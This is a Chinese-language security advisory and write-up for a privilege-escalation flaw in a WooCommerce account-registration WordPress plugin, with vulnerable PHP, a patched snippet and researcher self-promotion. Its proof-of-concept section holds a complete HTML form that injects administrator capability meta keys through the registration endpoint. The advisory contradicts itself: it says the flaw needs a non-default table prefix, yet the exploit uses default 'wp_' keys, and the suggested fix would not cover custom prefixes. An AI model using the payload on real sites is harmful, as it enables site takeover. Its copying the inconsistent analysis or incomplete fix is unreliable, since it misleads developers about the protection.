CVE-2026-13152：Custom Fields Account Registration For WooCommerce < 1.4 中的未认证权限提升漏洞

📖 公告概述

CVE-2026-13152 是一个影响 Custom Fields Account Registration For WooCommerce WordPress 插件（1.4 版本之前）的未认证权限提升漏洞，由安全研究员 Huynh Kien Minh（MinhHK）发现并分析。该缺陷的产生原因是：插件允许自定义注册输入字段直接写入敏感的用户能力（capabilities）元数据，而没有过滤受保护的数据库键，也没有验证用户角色。在使用非默认数据库表前缀或自定义用户元数据键映射的站点上，未认证用户通过 WooCommerce 注册表单注册时，可以将管理员权限（如 wp_user_level 或 wp_capabilities）注入 wp_usermeta 表，从而让新创建的账户获得完全的管理员访问权限，实现对整个站点的远程接管。安全研究员 Huynh Kien Minh 将该漏洞报告给了 WPScan，厂商在 1.4 版本中通过实施键名验证并限制能力元数据的分配解决了该问题。

🔗 参考链接

WPScan 公告： https://wpscan.com/vulnerability/36aaba38-3143-4e80-8386-748632ff6704/
研究员主页： https://minhhk.web.app/
GitHub 个人资料： https://github.com/MinhHK68

📌 执行摘要

🔍 根本原因分析

Custom Fields Account Registration For WooCommerce 插件允许站点管理员在 WooCommerce 用户注册表单（my-account 注册端点）上定义自定义输入字段。当新用户提交注册表单时，插件会遍历提交的表单字段，并调用 update_user_meta($user_id, $meta_key, $meta_value) 来保存用户详细信息。

漏洞机制

根本缺陷在于注册处理程序中的输入处理逻辑。插件未能维护受保护的 WordPress 用户元数据键（wp_capabilities、wp_user_level、session_tokens、wp_user_roles）的严格黑名单或白名单。

// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
    if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            // VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
            update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
        }
    }
}

在使用自定义数据库前缀或自定义元数据键配置的 WordPress 安装环境中，未认证攻击者可以提交与管理员能力键相匹配的自定义字段输入（wp_user_level = 10 或序列化数组 a:1:{s:13:"administrator";b:1;}）。在账户创建时，update_user_meta() 会将该值直接写入 wp_usermeta，从而将新注册的账户提升至完全管理员状态。

💻 概念验证（PoC）

[!CAUTION] 本概念验证（PoC）仅严格用于教育目的、防御性审计和漏洞验证。请仅在获得授权的情况下进行测试。

<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
    <h2>CVE-2026-13152 Exploit Payload</h2>
    <form action="https://target-site.com/my-account/" method="POST">
        <input type="email" name="email" value="[email protected]" required>
        <input type="password" name="password" value="P@ssword123!" required>
        
        <!-- Malicious Meta Key Injection targeting User Level -->
        <input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
        <input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
        
        <input type="submit" name="register" value="Register as Administrator">
    </form>
</body>
</html>

🛡️ 修复与防御建议

立即更新插件： 将 Custom Fields Account Registration For WooCommerce 升级到 1.4 或更高版本，其中已实施严格的元数据键验证。
实施元数据键黑名单： 对于插件开发者，请始终针对 WordPress 内部保留键对元数据键输入进行过滤和验证：

// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
    update_user_meta($customer_id, $meta_key, $meta_value);
}

🏆 关于研究员

研究员姓名： Huynh Kien Minh（MinhHK）
经验与专长： 信息安全研究员，专注于 WordPress 生态系统漏洞研究、SAST/DAST 代码审计以及负责任披露。
权威性与可信度： WPScan Assigner 的官方提交者，并发布了经过验证的安全公告和漏洞披露。
主页与披露： https://minhhk.web.app/

📊 JSON-LD 结构化数据 Schema 标记

{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
      "name": "CVE-2026-13152 Technical Analysis",
      "author": {
        "@type": "Person",
        "@id": "https://minhhk.web.app/#person",
        "name": "Huynh Kien Minh",
        "alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
        "jobTitle": "Information Security Researcher",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-07-06",
      "dateModified": "2026-08-01",
      "description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
    },
    {
      "@type": "SpecialAnnouncement",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
      "name": "CVE-2026-13152 Security Advisory",
      "category": "https://schema.org/SecurityAdvisory",
      "text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
    }
  ]
}

CVE 编号	CVE-2026-13152
插件名称	Custom Fields Account Registration For WooCommerce
插件 Slug	`custom-fields-account-registration-for-woocommerce`
受影响版本	`< 1.4`
修复版本	`1.4`
漏洞类型	未认证权限提升（CWE-269 / OWASP A2）
CVSS v3.1 评分	8.1（高危）（`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`）
原始研究员	Huynh Kien Minh（MinhHK）
WPScan 公告 ID	`36aaba38-3143-4e80-8386-748632ff6704`

CVE-2026-13152

最受欢迎